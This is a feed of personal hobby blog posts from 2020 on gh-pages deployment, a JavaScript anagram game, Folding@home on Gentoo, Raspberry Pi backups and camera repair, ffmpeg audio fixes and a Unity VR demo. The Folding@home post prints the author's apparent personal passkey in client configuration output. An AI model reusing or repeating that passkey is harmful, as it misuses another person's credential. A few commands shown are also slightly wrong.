    echo "YOU MUST HAVE COMMITTED ANY CHANGES BEFORE CONTINUING OR THEY WILL BE LOST !!!!"
    echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
    exit 1
fi
tmpdir=$(date +"%s")
mkdir /tmp/$tmpdir
cp $@ /tmp/$tmpdir
echo $@ saved to /tmp/$tmpdir
echo switching to gh-pages branch
git checkout gh-pages
echo overwriting $@ files
cp /tmp/$tmpdir/* .
git add $@ ; git commit -m "updating gh-pages with latest code"
git push origin gh-pages 
if [ $? -eq 0 ]; then
    echo OK
    git checkout master
    git status
else
    echo FAIL
    echo you are stuck in gh-pages branch
    echo most likely you want to
    echo git checkout master
    echo you did commit all your changes did not you?
    echo use
    echo git status 
    echo to check what branch you are on
fi</code>

I was also caught out by the fact that gh-pages the site takes a few moments after the files are pushed. A few more moments than I expected.
</description>
</item>
<item>
<title>Take the Shark by the enum and delaying a CSS animtion trip</title>
<pubDate>Mon, 27 Apr 2020 21:26:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p270420202126</link>
<description>
So much new stuff going on in the [url title="shark tank"]/flog/tags.html?tag=anagramsharkattackjse[/url] since my [url title="update about the animation/game loop"]/flog/Apr2020.html#p200420202143[/url].

The game is playable, well, as a basic anagram game i.e. completing a word brings up a new word, until it crashes with no more levels :D But considering how difficult the words are even without any sharks, well, good luck getting to the crash!

I had a cool CSS animation playing on the Tiles when you complete the current word. The letter tile would go to 50% opacity and as it animated to 1.5 times it's size the opacity would return to 100%. This is followed by a small dip(translation down the screen) and then a jump up with the tile rotating in 3D and disappearing off the screen. These animations are staggered across the letter tiles of the word, making a cool ripple/wave effect. This worked fine for level one and it's large four letter tiles, later levels not so much. Later levels have more letters per word and more letter tiles, making them smaller to fit. The CSS animation used percentages to get the tile to travel off the top of the screen and increasing it for later tile sizes caused the earlier ones to move too quickly(as they tried to travel greater distance in the same amount of time). On top of this I am trying to make everything screen size agnostic, which would include a portrait screen shape. 

I looked at dynamically creating the CSS for every animation and setting up the translate percentage based on individual size, but this was thwarted by CSP(Content Security Policy) that will complain if you fiddle with the CSS on a page. So then I thought about implementing all those animations in my [url title="animation loop"]/flog/Apr2020.html#p200420202143[/url]. In the end I kept all the CSS animation as it was, except the translate up. This I did implement in the [url title="animation loop"]/flog/Apr2020.html#p200420202143[/url] and I even created a working delay parameter in to the system. So, as the CSS animation does it's thing, my code is hoisting the whole thing up the screen to the correct location. Works really well, even on mobile.

Next I looked at all the janky Booleans in the Tile class. I realised that each one was really an exclusive "state" of the tile and what I need was an enum. 

<code>// Tile State - enum equivalent
const TileState = Object.freeze({NONE:"NONE", USERDROPPED: "USERDROPPED", GAMEBUMPED: "GAMEBUMPED", GAMEANIMWON: "GAMEANIMWON", GAMEWON: "GAMEWON"})</code>

Which is not a true enum, but suits my use case perfectly...

<code>// check if any objects need animating for GAMEANIMWON - end of level "up" animation
    animatableTiles = tiles.filter(x =&gt; x.state == TileState.GAMEANIMWON);
</code>

I also replaced all my uses of [em]var[/em] with [em]let[/em]. [em]var[/em] creates document/global variables where as [em]let[/em] creates them just in the scope they are used. This was not an option when I started 20+ years ago.

Which brings me to this ...

<code>for (let i=0;i<tiles.length;i++) {
...
}</code>

vs 

<code>tiles.forEach(function(tile) {
});</code>

I started with [em]forEach[/em], but kept seeing posts that [em]forEach[/em] is slower than a basic [em]for[/em] loop, so switched. Since then I have seen pros and cons for both, with the final word being "current generation browsers appear to be optimised for 'for loops', but, ideally the next generation will optimise for forEach".

Needless to say, there were plenty bone head mistakes that cost me a lot of time(haven't got any hair), including a bothersome semicolon and accidentally deleting two hours of work. That will be the subject of my next post.

Go play the [url title="game"]https://robgithub.github.io/AnagramSharkAttackJS-E/game.html[/url]
</description>
</item>
<item>
<title>robonearth woos folding at home</title>
<pubDate>Mon, 20 Apr 2020 22:45:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p200420202245</link>
<description>
Brief [url title="folding@home"]/flog/Apr2020.html#p110420201947[/url] update;

[url title="Team Hackaday"]https://stats.foldingathome.org/team/44851[/url]

[url title="RobOnEarth stats."]https://stats.foldingathome.org/donor/98353185[/url]
</description>
</item>
<item>
<title>framework to work with shark frames</title>
<pubDate>Mon, 20 Apr 2020 21:43:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p200420202143</link>
<description>
It has been a while since I posted any [url title="Shark action"]/flog/Jan2020.html#p190120201733[/url], but I have been making(slow) progress.

The latest code uploaded to my [url title="public demo pages"]https://robgithub.github.io/AnagramSharkAttackJS-E/game.html[/url] looks the same, but the tiles will now seek the valid locations.

This tile settling animation is currently set to two seconds and looks very sluggish, but I will tighten that in future releases.

To get to this point(dynamic animations) I did have to do quite a lot of work.

First up is the [em]requestAnimationFrame[/em] magic/voodoo. By calling this with a function and then calling it again in that function, we create an infinite loop. Normally infinite loops are very bad in Javascript, but here the function is only called when the browser is ready, usually once per frame.

This means that
<code>
animate();
function animate(timestamp) {
  // do animation work
  requestAnimationFrame(animate);
}
</code>

creates an animation system that can be added to and if the browser happens to be busy, all that happens is it is called less.

This is where it becomes a bit more complex. The [em]timestamp[/em] is sent by [em]requestAnimationFrame[/em] and is the number of milliseconds since the document was created. This can be compared to find out how long since [em]requestAnimationFrame[/em] was last called and affect how much your animation should proceed.

In the [em]// do animation work[/em] section I loop through all the game tiles and check if any have a flag set stating they were just dropped by the user and now needs to be animated.

I calculate the nearest tile position that the tile could occupy and then set about creating the required animation.

Elements of a successful animation are
Start Position: Where did the animation start from. So just record where the tile was dropped by the user.
Finish Position: Where do we want the animation to end.
Distance to Finish Position: We actually want these values to calculate where in the animation the current progress should take us.
Length(in milliseconds) of the total animation: we can compare this to the [em]timestamp[/em] as sent by [em]requestAnimationFrame[/em]

So each frame or call from [em]requestAnimationFrame[/em] we can, for each tile that may need animating;

Calculate the percentage of time that has passed since the animation was started. This is represented by a value that is 0.0 - 1.0. We can then multiply the distance by this value and add it to the Start Position.

So when that time fraction is 0.0 nothing is added to Start Position and when it is 1.0 the full distance is added to Start Position putting the animation at Finish Position. At 0.5 50% of the distance would be added to Start Position putting the animation at exactly half way.

This was one of those things that sounds simple on paper. I had to research how [em]requestAnimationFrame[/em] worked quite lot before I could even begin to mess about with the maths to get those values and get them right.

There was plenty of non-moving tiles and tiles that shot off the page at the speed of light.
</description>
</item>
<item>
<title>folding covid19 at home after a few false starts</title>
<pubDate>Sat, 11 Apr 2020 19:47:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2020.html#p110420201947</link>
<description>
I have been sick for the last 3 weeks and I am still recovering. Most likely Covid-19, although my fever never got quite to the level required to be classed as Covid-19.

Read a lot about how [url title="Folding@Home"]https://foldingathome.org[/url] were working on Covid-19 on various sites and thought I would give it a go.

<code>emerge --ask sci-biology/foldingathome</code>
<code class="output">These are the packages that would be merged, in order:

Calculating dependencies... done!

!!! All ebuilds that could satisfy "sci-biology/foldingathome" have been masked.
!!! One of the following masked packages is required to complete your request:
- sci-biology/foldingathome-7.5.1-r3::gentoo (masked by: FAH-EULA-2014 license(s), ~amd64 keyword)
A copy of the 'FAH-EULA-2014' license is located at '/var/db/repos/gentoo/licenses/FAH-EULA-2014'.


For more information, see the MASKED PACKAGES section in the emerge
man page or refer to the Gentoo Handbook.</code>

Recently Gentoo has been resolving these for me, so I not sure why I needed to go old-school.

Lets add the licences and try again.

<code>vi /etc/portage/package.license
#required by FaH
&gt;=sci-biology/foldingathome-7.5.1-r3 FAH-EULA-2014 FAH-special-permission</code>

<code>emerge --ask sci-biology/foldingathome</code>
<code class="output">These are the packages that would be merged, in order:

Calculating dependencies... done!

!!! All ebuilds that could satisfy "sci-biology/foldingathome" have been masked.
!!! One of the following masked packages is required to complete your request:
- sci-biology/foldingathome-7.5.1-r3::gentoo (masked by: ~amd64 keyword)

For more information, see the MASKED PACKAGES section in the emerge
man page or refer to the Gentoo Handbook.</code>

So I am running full INTEL now, but seems [em]~amd64[/em] is still the keyword.

<code>vi /etc/portage/package.accept_keywords
# needed by folding@home
sci-biology/foldingathome ~amd64</code>

<code>emerge --ask sci-biology/foldingathome</code>
<code class="output">These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild  N     ] dev-util/patchelf-0.10 
[ebuild  N     ] dev-libs/openssl-compat-1.0.2u  USE="asm sslv3 tls-heartbeat zlib -bindist -gmp -kerberos -rfc3779 -sctp -sslv2 -static-libs -test -vanilla" ABI_X86="(64) -32 (-x32)" CPU_FLAGS_X86="(sse2)" 
[ebuild  N    ~] sci-biology/foldingathome-7.5.1-r3 

Would you like to merge these packages? [Yes/No] 
Yes

...SNIP code compiling...

&gt;&gt;&gt; Recording sci-biology/foldingathome in "world" favorites file...

 * Messages for package sci-biology/foldingathome-7.5.1-r3:

 * 
 * Special permission is hereby granted to the Gentoo project to provide an
 * automated installer package which downloads and installs the Folding@home client
 * software. Permission is also granted for future Gentoo installer packages on the
 * condition that they continue to adhere to all of the terms of the accompanying
 * Folding@home license agreements and display this notice.
 * -- Vijay S. Pande, Stanford University, 07 May 2013
 * 
 * (ref: http://foldingforum.org/viewtopic.php?f=16&amp;t=22524&amp;p=241992#p241992 )
 * 
 * Adding group 'foldingathome' to your system ...
 *  - Groupid: next available
 * Adding user 'foldingathome' to your system ...
 *  - Userid: 994
 *  - Shell: /sbin/nologin
 *  - Home: /opt/foldingathome
 *  - Groups: video
 *  - GECOS: added by portage for foldingathome
 *  - Creating /opt/foldingathome in /
 * To run Folding@home in the background at boot:
 * (openrc)	rc-update add foldingathome default
 * (systemd)	systemctl enable foldingathome
 * 
 * No config.xml file found -- please run
 * emerge --config foldingathome-7.5.1 to configure your client, or specify
 * all necessary runtime options in FOLD_OPTS within
 * /etc/conf.d/foldingathome
 * 
 * Please see /opt/foldingathome/FAHClient --help for more details.
&gt;&gt;&gt; Auto-cleaning packages...

&gt;&gt;&gt; No outdated packages were found on your system.

 * GNU info directory index is up-to-date.</code>
 
It is installed but not configured.

<code>emerge --config foldingathome-7.5.1</code>
<code class="output">!!! 'foldingathome-7.5.1' is not a valid package atom.
!!! Please check ebuild(5) for full details.
!!! (Did you specify a version but forget to prefix with '='?)</code>

<code>emerge --config foldingathome</code>
<code class="output">Configuring pkg...

./FAHClient: /opt/foldingathome/libssl.so.10: no version information available (required by ./FAHClient)
./FAHClient: /opt/foldingathome/libcrypto.so.10: no version information available (required by ./FAHClient)
./FAHClient: /opt/foldingathome/libcrypto.so.10: no version information available (required by ./FAHClient)
20:37:16:INFO(1):Read GPUs.txt

User name [Anonymous]: robonearth
Team number [0]: 44851
Passkey: 590d9b339438bc0e590d9b339438b
Enable SMP [true]: 
Enable GPU [true]: 
Name of configuration file [config.xml]: 
Overwrite 'config.xml'? [y/N] [false]: y
</code>

The passkey assigns your work units to your username. This has a number of advantages, you will be ranked(slightly) higher than non-passkey participants, allows you to use multiple computers and have the numbers add up. Finally it stops anyone else claiming the work units just by using the same username.

It is [url title="really easy to setup"]https://apps.foldingathome.org/passkey/create[/url]. You enter the username and an email address and it emails you the unique passkey.
[url]https://foldingathome.org/support/faq/points/passkey/[/url]

and finally lets add this service to start at boot and kick it off
<code>rc-update add foldingathome default
/etc/init.d/foldingathome start</code>
<code class="output"> * Caching service dependencies ...                                                                                                              [ ok ]
 * Starting foldingathome ...          </code>

And check it is running OK
<code>cat /opt/foldingathome/log.txt</code>

Initially I found a lot of 
<code>WARNING:WU02:FS00:Failed to get assignment from '65.254.110.245:8080': No WUs available for this configuration
ERROR:WU02:FS00:Exception: Could not get an assignment
ERROR:WU02:FS00:Exception: Server did not assign work unit</code>

But eventually work units did come in.

Oh, that Team Number is [url title="Hackaday's"]https://hackaday.com/[/url]. I tried to get LTT's and originally I had Gentoo's, before I got a passkey.
</description>
</item>
<item>
<title>behind the youtube video tutorials and normalising volume</title>
<pubDate>Mon, 16 Mar 2020 21:58:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p160320202158</link>
<description>
A couple of things regarding the two recent YouTube video tutorials.

They were a lot easier to produce than I expected and I feel bad for not exploring doing them in Linux previously.

I already [url title="mentioned"]/flog/Feb2020.html#p240220202248[/url] that, after recompiling my Kernel, the Snowball Blue USB mic just works and that includes in simplescreenrecorder. Which seems like a silly name for an app, but it really just works, defaults are sensible, cannot complain.

The [url title="GIMP logo tutorial"]/flog/Mar2020.html#p150320202148[/url] is less than two minutes long and was done in a single take. The [url title="Cursive writing in Blender"]/flog/Mar2020.html#p160320202127[/url] was a lot longer and I made multiple captures. Twenty in total, but that excludes all the failed takes, of which there were many. 

If you know what to look for you can see the mouse pointer skipping around between takes, but on the whole it appears seamless or at least produced cleanly.

The editing was done in Blender's VSE (Video Sequence Editor) and mainly involved trimming out the beginning and end of each take, where I was starting and ending the screen capture. This can be done with keyboard shortcuts in simplescreenrecorder, but I liked seeing exactly what was going on.
I also found it useful, a couple of times, to count myself in after starting a recording. These, along with mistakes and mobile phone buzzes etc needed to be removed via editing.

The audio was very quite and I used the VSE Strip Volume to increase it. This worked well, to a point. After boosting the volume and exporting the [url title="GIMP logo tutorial"]/flog/Mar2020.html#p150320202148[/url] I found the clipped audio sounded very bad. The result was edited in Audacity after separating the audio.
<code>ffmpeg -i YouTubeGimpLogoShortTutorial.mkv -vn -acodec copy audio.wav</code>
and then recombined with
<code>ffmpeg -i YouTubeGimpLogoShortTutorial.mkv -i audio_fixed.wav -c:v copy -map 0:v:0 -map 1:a:0 YouTubeGimpLogoShortTutorial_FixedAudio.mkv</code>

But I am getting ahead of myself. That was after I found a better way to boost the volume.

When you increase the volume in Blender, the waveform is uniformly expanded. This works great as long as there are no extra loud sections. These get clipped. Annoyingly the playback works just fine in the Blender VSE and seems to only be an issue when exported and played back.

Originally I spend sometime using Volume Key-frames in Blender VSE to lower the volume when these spikes occurred. There seems to be a weird bug in Blender that continues to show a red clipping error even when you have lowered the volume so it does not clip, at different zoom levels. I realised I needed something a bit more audiophile-y.

There are some scripts that use FFmpeg to find and boost the volume, but the vast majority of articles recommend the Python app ffmpeg-normalize

In Gentoo I needed to 
<code># emerge -av dev-python/pip
$ pip3 --user install ffmpeg-normalize   
$ ~/.local/bin/ffmpeg-normalize *.mkv
$ ls normalize</code>

This boosts the volume to its highest possible value without clipping and did an amazing job.
</description>
</item>
<item>
<title>cursive writing in blender tutorial</title>
<pubDate>Mon, 16 Mar 2020 21:27:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p160320202127</link>
<description>
A couple of weeks ago [url title="Justin at Blender Frenzy"]https://www.blenderfrenzy.com[/url] was detailing how to make animated borders for Video titles. He used bezier curves and animated the edges to complete a rectangle framing a title.

It got me wondering if I could take the idea and, not only draw cursive strokes, but also animate a pencil to follow along.

Worked quite nicely and I created the following tutorial.

<iframe width="560" height="315" src="https://www.youtube.com/embed/iGQA8owbgJg" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

Next post will be a bit around the process of capturing and producing that tutorial.
</description>
</item>
<item>
<title>testing video creation with a gimp logo tutorial</title>
<pubDate>Sun, 15 Mar 2020 21:48:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p150320202148</link>
<description>
Here is the result of testing my Snowball Blue USB mic while running simplescreenrecorder in linux

It is not supposed to be anything special and was something I needed quickly at the weekend.

<iframe width="560" height="315" src="https://www.youtube.com/embed/iPRnncczYMY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

This test means I can work on my Blender video for an interesting technique.
</description>
</item>
<item>
<title>looping a simple backup with fdisk maths offset of pi</title>
<pubDate>Fri, 13 Mar 2020 22:07:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p130320202207</link>
<description>
So it is all working, time for a backup, a remote backup while the Pi is running.

<code>ssh pi@192.168.1.38 sudo dd bs=4M if=/dev/mmcblk0 | gzip -c &gt; raspberry_dd_4M.img.gz</code>
(remember to record the block size in the filename!)

Now, any untested backup is not a safe backup. How do we test it?

<code>gunzip raspberry_dd_4M.img.gz</code>
to get the uncompressed image

<code>fdisk -l</code>
<code class="output">Disk raspberry_dd_4M.img: 3.7 GiB, 3947888640 bytes, 7710720 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x738a4d67

Device               Boot  Start     End Sectors  Size Id Type
raspberry_dd_4M.img1        8192  532479  524288  256M  c W95 FAT32 (LBA)
raspberry_dd_4M.img2      532480 7710719 7178240  3.4G 83 Linux</code>

Shows the boot and main partitions.

and, as root

<code>mkdir mntloop1;mount -o ro,loop,offset=$((512*8192)) raspberry_dd_4M.img mntloop1</code>
mounted the FAT32 boot drive to a new folder mntloop1
and
<code>mkdir mntloop2;mount -o ro,loop,offset=$((512*532480)) raspberry_dd_4M.img mntloop2/code>
<code class="output">mount: mntloop2: overlapping loop device exists for raspberry_dd_4M.img.</code>
Oh, cannot have more that one loopback mount point with a single img file.
<code>umount mntloop1</code>

<code>mkdir mntloop2;mount -o ro,loop,offset=$((512*532480)) raspberry_dd_4M.img mntloop2/code>
<code class="output">mount: mntloop2: cannot mount /dev/loop0 read-only.</code>

hmmm

<code>mkdir mntloop2;mount -o loop,offset=$((512*532480)) raspberry_dd_4M.img mntloop2/code>

Removing the [em]ro[/em] Read Only option fixes that.

Now I can navigate all the folders and files at the new folder mount point mntloop2.

Did you see the [em]$((512*n))[/em] in those mount commands?
They mark where the partitions are offset in the img file and can be seen in the fdisk -l output under [em]Start[/em]

Mission: SUCCESSFUL!
</description>
</item>
<item>
<title>decoding python3s unicode obsession with dropbox files</title>
<pubDate>Fri, 13 Mar 2020 20:29:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p130320202029</link>
<description>
The reason it is not uploading photos to Dropbox is a simple Python3-ism around Unicode strings.

Previously when I retrieved the contents of the [em]status.txt[/em] from Dropbox and compared the contents "on" to the string "on" they matched. But when using Python3 the contents are not a string "on" but a Unicode byte stream that is not an object match for "on".

Fix was easy, add [em].decode()[/em] to the call to read the file contents.

I also modularised the code so that I could always take one photo and uploaded it when the script starts, making it easy to test all the core functionality.
</description>
</item>
<item>
<title>reliving the joy of building a python pi camera in a toilet roll</title>
<pubDate>Fri, 13 Mar 2020 08:44:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p130320200844</link>
<description>
The great thing about DIY with the Raspberry Pi is not only the cost and control to do what you want, but the fun of doing it and getting it to work. The downside is, when it goes wrong you have to fix it :(

The amazing [url title="Toilet roll cam"]/flog/tags.html?tag=camera[/url] stopped working.
<img src="images/pircamera.jpg" alt="toilet roll cam" >

It is, after all, just an old Raspberry Pi with a Pi camera and PIR sensor mounted in a toilet roll.

It was online(ethernet), but not allowing ssh connections. Shut it down(pulled the plug) and mounted it locally. Step one complete, will mount on another machine. Step two backup my scripts went smoothly. Even step three gave no errors, fsck just reported dirty bit set.

So ... it was all fine then?

No. Would not boot, LEDs would flash for ages. Connected a HDMI monitor and I can see a Kernel panic reporting file system issues, not good. Time for some more serious fsck-ing.

<code>e2fsck -C0 -p -f -v /dev/sdd2</code>
(where sdd2 is the ext4 partition from my Pi card)
Quite a few things to fix, no errors and running it again after completion found nothing amiss.

Sadly it was the same Kernel panic reinserting the card :(

This Pi is so old it uses full size SD cards and I have a few of those knocking about, so lets set up a new one.

Download the latest image from Raspberry Pi foundation and...
<code>dd bs=4M if=/mnt/sdb1/RaspberryPi/Images/2020-02-13-raspbian-buster-lite.img of=/dev/sdd conv=fsync</code>

Then after mounting the newly written card(both partitions), set the hostname and enable ssh
<code>echo "picam2" >> /mnt/sdd2/etc/hostname
touch /mnt/sdd1/ssh</code>

(as this has no WiFi and is using a networking cable there is no [em]wpa_supplicant.conf[/em] file to copy across)

While the card was writing I had a look at the logs my code had been writing. Oh, I think I have found the problem. A massive 2GB log file with details of ever single ping sent. This is only a 4GB card.

Booted up the Pi and ssh'd in. Only IP address worked not picam2.home or picam2.local. More on that in a future flog post.

Enabled the Pi Camera interface via [em]rasp-config[/em]

Copied my scripts across from the backup. Always have a backup, or two.

Then I realised that the Python code was all Python2, so a quick clean up to make it Python3. Installed the dependencies and it just worked.

<code>sudo apt install python3-picamera
sudo apt install python3-pip
pip3 install dropbox
pip3 install RPi.GPIO</code>

Expect it didn't and my cool reboot-on-error script kicked in and stopped me ssh'ing back in to fix it :(

Resolved that by re-running the pip3 installs with sudo
<code>sudo pip3 install dropbox
sudo pip3 install RPi.GPIO</code>

Now it is running and [url title="Pimote undershelf lighting"]/flog/Apr2019.html#p210420191108[/url] is working again, but no photos are uploading to Dropbox.

This weird, as all the test showed photos uploading to Dropbox when the PIR was activated.

</description>
</item>
<item>
<title>smoothing another raspberry pi vr demo over an unsuspecting school</title>
<pubDate>Wed, 11 Mar 2020 22:16:32 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p110320202216</link>
<description>
So that went well. We showed off the Raspberry Pi VR demo to another school today.

Younger children, who seemed to be much more engaged and asked lots of questions. Questions about Raspberry Pis, electronics and VR. Unfortunately they also were desperate to know how much the VR setup cost. To let them down gently I kept using the phrase "Professional setup". There are going to be some hassled parents tonight, considering how many of them said "I am going to get this for Birthday/Christmas".

We also had less "lungers" or "runners", but there was certainly enough activity that we had to stay on our toes to avoid any incidents.

With all my improvements, like a restart/reset key and "jump user to start position", things went really smoothly. But I could still see room for improvement.

[ ] Remove the Item count board from the controller when restarting. 
Really mad at myself for missing this. When the restart/reset key is pressed everything goes back to its starting state, except the item count board which is attached to one of the controllers. It is a minor thing and nobody mentioned it. It just looks wrong.
[ ] The count-up mechanism does not work very well for these demos. 
Would be really cool if we could have a score board with players names and how many items they recovered and how long they took. Could alternatively have a countdown to ensure everyone had the same amount of time in VR. Instead of starting a stopwatch on a phone each time.
[ ] Remove Backface culling on the item meshes.
This works great on the walls when you teleport past them, as you can see through them back to the arena. The USB ports look really odd, almost inside out. Should be a quick fix, just update the Shader.
[ ] Swap which controller has the item count board.
This is a nice-to-have to match players left/right handedness.
[ ] Add sound for items hitting the floor.
Another nice-to-have, to make it really obvious when something is dropped or knocked. Never done sound in Unity before and it would have to be setup to come out of the laptop, as we do not have headphones in the VR demo.
[ ] Update the Teleporter.
Currently using the original basic teleporter from Steam, which operates as a straight laser beam. If you know what you are doing this works great, point the laser at the ground where you want to go and teleport there. Problem is most people do not aim at the floor and end up teleporting from one end of the arena to the other. Most VR games now a days use a parabolic curve, meaning you can only teleport so far as it arches away from you.

None of these things is crucial and I have no idea whether the demo will ever be requested again. Plus I have lots of other projects to complete. 

Fishing expedition or a new Blender tutorial anyone?
</description>
</item>
<item>
<title>taking a big bite out of a four year old raspberry pi</title>
<pubDate>Wed, 11 Mar 2020 21:45:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2020.html#p110320202145</link>
<description>
Well the secret mission was updating the [url title="Raspberry Pi VR demo"]/flog/Jul2019.html#p210720191533[/url]. Secret because I was unsure I could edit the code and produce a new build. Last one was 4 years ago.

I specifically stated that if this demo was to get used any more, it need to be revisited and updated.

There was long list of small changes, of which I have completed

[X] Operator(not the user in VR) can change the height of the Pi.
[X] Operator can change the height of the floor, should only be in the case of emergency. Most circumstances will require a re-calibration.
[X] Operator can restart the experience. Previously we shut and reopened the demo for each new user.
[X] Operator can recenter the user. For when they get lost.
[X] Operator can turn on hints.(*)
[ ] Empty space and small hit box on Pi items.(+)
[ ] Items should glow as game progresses.(see Hints(*))
[X] Fix start animation.

Fixing the start animation was the first issue. When the Pi tipped up the components would fall off due to gravity, but then get dragged along the floor when the Pi was tipping back to horizontal. Tracking the movement of their parent, the Pi. This involved removing the components from the Pi parent in the mesh hierarchy and then re-adding them. All the offsets for where their correct positions should be is in relation to the Pi parent.

Keyboard handling in Unity is so simple. In the [em]Update[/em] method check if the key was pressed and act on it.

(+) After failing to replicate the issue where object could not be grabbed from their centres, I tried changing hit box sizes. This seemed to go well until I found all sorts of conflicts that totally messed the game up. So just put everything back as it was. If anything falls under the floor, the operator can move the floor :D

(*) I liked the idea of the items glowing more and more as the game progressed, but tests did not go well and I found another option. 3D text in Unity is visible from anywhere, it does not get blocked by other 3D meshes. So I added a text label to each component and set to be inactive(will not be drawn). When a player gets stuck the operator will press "H" and all the labels will active and become visible. Even if the component is behind a another mesh, Pi, wall, etc. the text will be clearly visible.

Unity is an amazing game development platform. You write almost no code, it is all event driven. You just write the one bit of code that is relevant to your specific event.

Here is the game running with a single component in the correct place and hints are enabled(the red text labels).
<img src="images/raspberrypivr005.jpg" alt="Raspberry Pi VR game with hints enabled">
</description>
</item>
<item>
<title>using linux to throw a snowball</title>
<pubDate>Mon, 24 Feb 2020 22:48:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p240220202248</link>
<description>
Many moons ago I was given a "Snowball USB microphone". Never got around to using except for the [url title="Zooming Light titles video"]https://www.blendernation.com/2018/06/10/tutorial-zooming-light-titles/[/url] and that was recorded on Windows(for various reasons).

Well now I have another Blender tutorial I want to record and this time I am going 100% Linux.

Plug the USB Snowball in and [em]dmesg[/em] shows the USB connection with the name, but not much else. Nothing is finding a new audio device. Maybe I am missing the USB audio driver ...

<code>cd /usr/src/linux
make menuconfig</code>
<code class="output">Device Drivers -->
   Sound card support -->
      Advanced Linux Sound Architecture -->
         USB sound devices -->
            <*> USB Audio/MIDI driver</code>
            
<code>make modules
make modules_install
modprobe snd-usb-audio</code>

Nothing new in [em]dmesg[/em] other that [em]snd-usb-audio registered[/em]

But now six inputs in Audacity
<code class="output">Blue Snowball: USB Audio (hw:2,0): Front Mic:0
Blue Snowball: USB Audio (hw:2,0): Rear Mic:0
Blue Snowball: USB Audio (hw:2,0): Line:0    
Blue Snowball: USB Audio (hw:2,0): Front Mic:1
Blue Snowball: USB Audio (hw:2,0): Rear Mic:1
Blue Snowball: USB Audio (hw:2,0): Line:1</code>

A quick test shows all of them appear to work in exactly the same way.

On the back of the Snowball is a three position DIP switch. Never been sure what that was for ...

[url]https://sound.stackexchange.com/questions/46331/what-are-the-1-2-3-settings-on-the-back-of-the-blue-snowball[/url]

<code class="output">    Position 1,
        Setting: Cardioid (capsule),
        Applications: speech, vocals, podcasting
        Picks up sound from the front, ideal for podcasting, game streaming or recording vocals and instruments

    Position 2
        Setting: Cardioid (capsule) with -10dB pad
        Applications: live music, loud sound sources
        Reduces mic sensitivity so loud instruments or vocalists come in crystal clear and distortion free

    Position 3
        Setting: Omnidirectional (capsule)
        Applications: conferences, interviews, environmental recordings
        Picks up sound all around the mic, perfect for conference calls or recording a group of musicians</code>
        
Now I have the POC working ... I am dropping the tutorial until I complete another mission ...
</description>
</item>
<item>
<title>another cream egg on my face</title>
<pubDate>Sun, 16 Feb 2020 12:51:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p160220201251</link>
<description>
Also this week I accidental(well sort of) instigated another "cream egg" incident.

I did not blog the last "cream egg" incident for good reason. Not my finest hour. To be fair I had no idea it would blowup so badly or so quickly.

This time I have tried my best to mitigate the fallout and inform the right people in the right way so that it can be resolved.

The reporting structure was sub-optimal.

I cannot really say any more than that.
</description>
</item>
<item>
<title>detecting the hue from sports with a like imagemagick</title>
<pubDate>Sun, 16 Feb 2020 12:43:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p160220201243</link>
<description>
So the [url title="sports videos"]/flog/May2019.html#p250520191948[/url] I was doing had a bit of a change up. The cameras were replaced and now the size and the timings are off.

Previously the timing between the two sources was consistently off by 0.75 seconds and could be scripted. Then new setup has a variable offset.

In the sports environment a blue LED is turned on to indicate a change and this light is very clear in both video sources.

I convert the video to an image sequence and found the change in lighting could be identified in a small number of pixels in multiple locations. To avoid any issue when the view is blocked.

These tiny 10x40 pixel images could then be put through imagemagick to read the HSV(Hue, Saturation, Value/Luminescence). I had tried interpreting RGB in histograms to no avail.

The Blue Hue I am looking for is clearly in the 200-300 range, making it easy to differentiate from the 0-100 that is the unlit images.

<code>convert 1088.png -colorspace HSV txt: | egrep -o "hsv\([^,.]+" | sort -n | uniq -c | sort -n | tail -n 3</code>

This uses the imagemagick [em]convert[/em] command to convert the image file into HSV text. Which is 1 line per pixel. DO NOT RUN IT ON A LARGE FILE!

Piped through to extended grep to get only([em]-o[/em]) the matching regex. This matches the Hue part of the result(avoiding decimal points).

This gets sorted numerically([em]-n[/em]) and passed to uniq which counts the uniq instances.

That gets sorted so the highest count is at the bottom and then trimmed to 3 entries.

Frame 1088 is unlit

<code>convert 1088.png -colorspace HSV txt: | egrep -o "hsv\([^,.]+" | sort -n | uniq -c | sort -n | tail -n 3</code>
<code class="output">36 hsv(27
     40 hsv(40
     55 hsv(36</code>

and frame 1089 has the blue LED lit. There is also some over saturation making the result look very white to human eyes, but is clearly discernible as a part of the HSV blue hue.

<code>convert 1089.png -colorspace HSV txt: | egrep -o "hsv\([^,.]+" | sort -n | uniq -c | sort -n | tail -n 3</code>
<code class="output">30 hsv(216
     31 hsv(211
     39 hsv(217</code>

I still need to process this and make it automatic. Not to mention calculating the FPS(Frames Per Second) and make use of the results :)
</description>
</item>
<item>
<title>ubuntu loses game of hide and seek with the simpsons</title>
<pubDate>Sun, 09 Feb 2020 18:40:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2020.html#p090220201840</link>
<description>
I was sure I had already blogged this, but ...

I have an old laptop that runs stock Ubuntu. 

